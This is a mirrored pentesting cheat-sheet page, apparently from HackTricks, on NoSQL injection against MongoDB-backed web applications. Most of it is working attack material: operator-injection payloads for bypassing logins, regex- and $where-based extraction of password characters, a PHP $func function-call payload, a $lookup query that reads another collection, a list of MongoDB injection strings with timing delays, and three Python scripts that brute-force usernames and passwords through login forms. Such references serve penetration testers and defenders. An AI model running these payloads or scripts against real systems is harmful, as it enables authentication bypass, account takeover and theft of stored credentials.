Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 01:17:36 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/nosql-injection.md
CPol c55d66804a
GITBOOK-4301: No subject
2024-04-06 16:25:58 +00:00

12 KiB
Raw Blame History

NoSQL injection


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Using not equal ($ne) or greater ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). This is analogous to SQL injection attacks where inputs like ' or 1=1-- - are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like ' || 1==1//, ' || 1==1%00, or admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extract data information

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Get info from different collection

It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.

NOTE: $lookup and other aggregation functions are only available if the aggregate() function was used to perform the search instead of the more common find() or findOne() functions.

[
  {
    "$lookup":{
      "from": "users",
      "as":"resultado","pipeline": [
        {
          "$match":{
            "password":{
              "$regex":"^.*"
            }
          }
        }
      ]
    }
  }
]


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
    print("[i] Looking for char number "+str(i+1))
    for char in alphabet:
        r = requests.get("http://chall.com?param=^"+flag+char)
        if ("<TRUE>" in r.text):
            flag += char
            print("[+] Flag: "+flag)
            break

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = {'ids': payload}, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

Brute-force login usernames and passwords from POST login

This is a simple script that you could modify but the previous tools can also do this task.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames(prefix):
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*"}
    for c in possible_chars:
        username = "^" + prefix + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print(username)
            for user in get_usernames(prefix + c):
                usernames.append(user)
    return usernames

for u in get_usernames(""):
    get_password(u)

Tools

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}